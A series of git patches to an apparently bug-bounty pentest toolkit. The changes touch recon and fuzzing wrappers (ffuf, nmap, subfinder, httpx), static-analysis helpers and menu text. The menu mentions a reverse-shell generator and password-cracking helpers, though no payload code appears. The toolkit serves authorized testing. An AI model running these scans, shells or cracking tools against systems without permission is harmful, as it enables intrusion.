FEROXBUSTER="1" X8="1" SUBDOMANIZER="1" - SELECTED_OPTIONS="nmap, nikto, ffuf, feroxbuster, x8, subdomanizer" + SELECTED_OPTIONS="nmap, nikto, ffuf, x8, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) NIKTO=$(echo $2|grep 'nikto'|wc -l) VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) - FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) SELECTED_OPTIONS=$2 @@ -334,11 +333,6 @@ recon() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi - # feroxbuster - if [[ $FEROXBUSTER -eq "1" ]]; then - feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log - fi - # x8 if [[ $X8 -eq "1" ]]; then x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 @@ -803,7 +797,7 @@ case "$cmd" in echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" From 6da96d551043ed4298f1e0ebf2dfa2fa0aa4c481 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 7 Aug 2022 14:36:16 +0100 Subject: [PATCH 247/369] [s0mbra] peek() refactoring: create subdirectory for every peeked domain --- s0mbra.sh | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3105301..dcbc496 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,10 +230,13 @@ lookaround() { # quick lookaround, but for single domain - no need to create scope file peek() { - TMPDIR=$(pwd) + TMPDIR=$(pwd)/$1 + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi START_TIME=$(date) DOMAIN=$1 - echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" # sublister echo -e "\n$GREEN--> sublister$CLR\n" @@ -244,15 +247,20 @@ peek() { subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains - cat s0mbra_recon_sub* > step1 - sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log - rm -f step* + cat $TMPDIR/s0mbra_recon_sub* > $TMPDIR/step1 + sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/s0mbra_recon_subdomains_final.log + rm -f $TMPDIR/step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -f $TMPDIR/s0mbra_recon_subfinder.log + END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" From 6a0003079796787ac9ac922a7b5870a042ae510b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Aug 2022 02:11:27 +0100 Subject: [PATCH 248/369] [s0mbra] Added phpstan to phpsast command --- .gitignore | 8 ++---- composer.json | 5 ++++ composer.lock | 78 +++++++++++++++++++++++++++++++++++++++++++++++++++ s0mbra.sh | 1 + 4 files changed, 86 insertions(+), 6 deletions(-) create mode 100644 composer.json create mode 100644 composer.lock diff --git a/.gitignore b/.gitignore index 2f890da..3dcfe31 100644 --- a/.gitignore +++ b/.gitignore @@ -1,17 +1,13 @@ .idea/ -sword/output.html -sword/output.txt +.vscode dev/ .DS_Store -cco.pyc pefdefs.pyc imports/*.pyc htmlanalyzer/index.html -sword/OUTPUT /dirscan/10000folders.txt /dirscan/1000folders.txt *.pyc *.log -.vscode - .history/ .env +vendor/ diff --git a/composer.json b/composer.json new file mode 100644 index 0000000..62142a6 --- /dev/null +++ b/composer.json @@ -0,0 +1,5 @@ +{ + "require-dev": { + "phpstan/phpstan": "^1.8" + } +} diff --git a/composer.lock b/composer.lock new file mode 100644 index 0000000..51bd5e0 --- /dev/null +++ b/composer.lock @@ -0,0 +1,78 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "911267b8ad1b1bb25c74a4db8118c301", + "packages": [], + "packages-dev": [ + { + "name": "phpstan/phpstan", + "version": "1.8.2", + "source": { + "type": "git", + "url": "https://github.com/phpstan/phpstan.git", + "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/c53312ecc575caf07b0e90dee43883fdf90ca67c", + "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0" + }, + "conflict": { + "phpstan/phpstan-shim": "*" + }, + "bin": [ + "phpstan", + "phpstan.phar" + ], + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "PHPStan - PHP Static Analysis Tool", + "support": { + "issues": "https://github.com/phpstan/phpstan/issues", + "source": "https://github.com/phpstan/phpstan/tree/1.8.2" + }, + "funding": [ + { + "url": "https://github.com/ondrejmirtes", + "type": "github" + }, + { + "url": "https://github.com/phpstan", + "type": "github" + }, + { + "url": "https://www.patreon.com/phpstan", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", + "type": "tidelift" + } + ], + "time": "2022-07-20T09:57:31+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": [], + "platform-dev": [], + "plugin-api-version": "2.1.0" +} diff --git a/s0mbra.sh b/s0mbra.sh index dcbc496..c861453 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -594,6 +594,7 @@ php_sast() { echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" phpcs --colors -vs $1 graudit $1 + ./vendor/bin/phpstan analyse $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 7434f4d2d1ef78a58b093c1b9fa915860ccbc778 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Aug 2022 02:15:02 +0100 Subject: [PATCH 249/369] [s0mbra] phpsast changes --- composer.json | 2 +- s0mbra.sh | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/composer.json b/composer.json index 62142a6..5575f14 100644 --- a/composer.json +++ b/composer.json @@ -2,4 +2,4 @@ "require-dev": { "phpstan/phpstan": "^1.8" } -} +} \ No newline at end of file diff --git a/s0mbra.sh b/s0mbra.sh index c861453..c17be20 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -592,9 +592,9 @@ gql() { php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" - phpcs --colors -vs $1 - graudit $1 ./vendor/bin/phpstan analyse $1 + graudit $1 + phpcs --colors -vs $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From e5277b94a66b25069cbd4e6b53fd832ee40bb9a9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Aug 2022 08:25:11 +0100 Subject: [PATCH 250/369] [s0mbra] rubysast for static analysis of Ruby apps --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index c17be20..3dae58e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -598,6 +598,14 @@ php_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# runs Ruby SAST tools against Ruby application +ruby_sast() { + clear + echo -e "$BLUE[s0mbra] Running brakeman against $1...$CYAN" + brakeman $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # deso stuff with Android APK file apk() { clear @@ -801,6 +809,9 @@ case "$cmd" in generate_shells) generate_shells "$2" "$3" ;; + rubysast) + ruby_sast "$2" + ;; *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" @@ -837,6 +848,7 @@ case "$cmd" in echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t -> Static Code Analysis of Ruby dir(s)/file(s) with brakeman" echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 3f1f8a7eaa30253c8cdec2c418a5ea4080d8decd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Aug 2022 08:26:15 +0100 Subject: [PATCH 251/369] [s0mbra] rubysast for static analysis of Ruby apps --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3dae58e..5a0876d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -843,7 +843,7 @@ case "$cmd" in echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SOURCE CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: STATIC APPLICATION SECURITY TESTING ::\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" From 654c01daf279aa46ee9c5ce16b439ecaed1b42b3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 11 Aug 2022 10:04:16 +0100 Subject: [PATCH 252/369] [s0mbra] menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5a0876d..6e10e58 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -818,7 +818,7 @@ case "$cmd" in echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" - echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 78066cdfbfc0dafc8f027f1a422270f7b06223d0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Aug 2022 09:37:11 +0100 Subject: [PATCH 253/369] [s0mbra] menu --- s0mbra.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/s0mbra.sh b/s0mbra.sh index 6e10e58..395bb89 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -859,6 +859,7 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$BLUE_BG\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CLR" ;; esac From e701ed0e74c217c81df2fea563ba708ef070855e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 15 Aug 2022 09:48:29 +0100 Subject: [PATCH 254/369] [s0mbra] menu --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 395bb89..6e10e58 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -859,7 +859,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" - echo -e "$BLUE_BG\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CLR" ;; esac From 9bf26813ca6e3549c11331060a743cbfb9ce5808 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 15 Aug 2022 11:01:46 +0100 Subject: [PATCH 255/369] [s0mbra] delete temp folders created in peek() --- s0mbra.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/s0mbra.sh b/s0mbra.sh index 6e10e58..36add6d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -260,6 +260,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -f $TMPDIR/hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From a37eca2514176d44c7e624b7b73ed31418beeef5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 16 Aug 2022 09:35:55 +0100 Subject: [PATCH 256/369] [s0mbra] peek() update --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 36add6d..41e7b90 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -260,7 +260,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log rm -f $TMPDIR/s0mbra_recon_subfinder.log - rm -f $TMPDIR/hm* + cd $TMPDIR && rm -f hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From a2fffa844b4f2a86c6bd45964e2b8c260c6ceabe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 20 Aug 2022 21:15:36 +0100 Subject: [PATCH 257/369] [s0mbra] menu update --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 41e7b90..1bc18e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -830,8 +830,8 @@ case "$cmd" in echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" From c0313ac3e38101f2a488c56f52aed742c64d7694 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 17 Sep 2022 15:37:50 +0100 Subject: [PATCH 258/369] [s0mra] Use jadx for unjar command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1bc18e7..4dcd0e6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -563,7 +563,7 @@ dex_to_jar() { unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } # runs disassembly agains binary From 1c16c6a7210ad8540c66ddb8a24520f350300b25 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 29 Sep 2022 18:32:09 +0100 Subject: [PATCH 259/369] [s0mbra] cleanup after pysast --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 4dcd0e6..ac05896 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -438,6 +438,8 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" graudit $1 + # cleanup + rm -rf .mypy_cache echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 937ebb5ca55d004a1c82bbad4d0d5314b4db6bb6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 1 Oct 2022 00:46:29 +0100 Subject: [PATCH 260/369] [hasher] refactoring --- hasher.py | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/hasher.py b/hasher.py index 2446a72..562bf93 100755 --- a/hasher.py +++ b/hasher.py @@ -10,6 +10,15 @@ usage: ./hasher.py [string_to_hash] """ +colors = { + "WHITE": '\33[37m', + "GREEN": '\33[32m', + "MAGENTA": '\33[35m', + "CYAN": '\33[36m', + "GREY": '\33[90m', + "LIGHTGREY": '\33[37m' +} + def usage(): ''' @@ -33,19 +42,22 @@ def main(s): ''' prints all hashes for provided string ''' - algorithms_available = ['blake2s', 'blake2b', 'sha224', - 'sha256', 'sha512', 'sha384', 'sha1', 'md5'] - print("\nHASH:\n") + algorithms_available = ['md5', 'sha1', 'sha224', 'sha256', 'sha384', + 'sha512', 'blake2s', 'blake2b'] + print(f"\n{colors['GREEN']}HASHES:{colors['WHITE']}\n") for h in algorithms_available: if hasattr(hashlib, h): try: h_method = getattr(hashlib, h) - print(f"{h}\t\t{h_method(s.encode('utf-8')).hexdigest()}") + print( + f"{colors['GREY']}{h}\t\t{colors['CYAN']}{h_method(s.encode('utf-8')).hexdigest()}") except TypeError as e: pass - print("\nENCODE:\n") - print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) - print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) + print(f"\n{colors['GREEN']}ENCODE:{colors['WHITE']}\n") + print( + f"{colors['GREY']}Base64 \t\t{colors['CYAN']}{base64.b64encode(s.encode('utf-8'))}") + print( + f"{colors['GREY']}HEX encoded \t{colors['CYAN']}{hex_encode(s.encode('utf-8'))}") if __name__ == "__main__": From 7f54acf9605536662f9e0936dac6cde66c0b157f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 7 Oct 2022 22:21:32 +0100 Subject: [PATCH 261/369] [s0mbra] Option to select HTTP server (python, php) --- s0mbra.sh | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index ac05896..483afd2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -51,7 +51,8 @@ quick_nmap_scan() { # runs Python 3 built-in HTTP server on [PORT] http() { - echo -e "$BLUE[s0mbra] Running Simple HTTP Server in current directory on port $1$CLR" + STACK=$2 + echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" @@ -62,7 +63,15 @@ http() { else PORT=$1 fi - python3 -m http.server $PORT + + case "$STACK" in + python) + python3 -m http.server $PORT + ;; + php) + php -S 127.0.0.1:$PORT + ;; + esac echo -e "\n$BLUE[s0mbra] Done." } @@ -726,7 +735,7 @@ case "$cmd" in quick_nmap_scan "$2" "$3" ;; http) - http "$2" + http "$2" "$3" ;; rockyou_john) rockyou_john "$2" "$3" @@ -834,7 +843,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" - echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t -> runs HTTP server on [PORT] TCP port; STACK: python,php" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" From 22d521dc808188afc3205bc3519fe68909b8eb7c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 12 Oct 2022 05:35:14 +0100 Subject: [PATCH 262/369] [s0mbra] fox for removing temporary dirs after peek --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 483afd2..7bfd7ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -267,9 +267,9 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -f $TMPDIR/s0mbra_recon_subfinder.log - cd $TMPDIR && rm -f hm* + rm -rf $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -rf $TMPDIR/s0mbra_recon_subfinder.log + cd $TMPDIR && rm -rf hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From f7e2728a64768cc9a5a0dd73eb92882546c6a921 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 19 Oct 2022 21:54:21 +0100 Subject: [PATCH 263/369] [virustotal] Reomove ctfpwn dependency --- virustotal.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/virustotal.py b/virustotal.py index 9a6aa7a..a68fde2 100755 --- a/virustotal.py +++ b/virustotal.py @@ -1,7 +1,7 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 from netaddr import * -import ctfpwn +import requests import json import time import os @@ -20,10 +20,10 @@ def process(cidr, logfile): url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( virus_total_api_key, str(ip)) - resp = ctfpwn.http_get(url) + resp = requests.get(url) - if resp: - domains = json.loads(resp) + if resp.status_code == 200: + domains = json.loads(resp.text) if (domains['response_code'] == 0): print("[-] Empty response for {}".format(str(ip))) From 3071a4c933e7bec0f52275d52aa72f8cbd2095fb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Nov 2022 08:50:32 +0000 Subject: [PATCH 264/369] [s0mbra] remove 403 HTTP response from fu --- s0mbra.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7bfd7ca..8a90bf1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -340,15 +340,15 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log fi # ffuf if [[ $FFUF -eq "1" ]]; then - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H 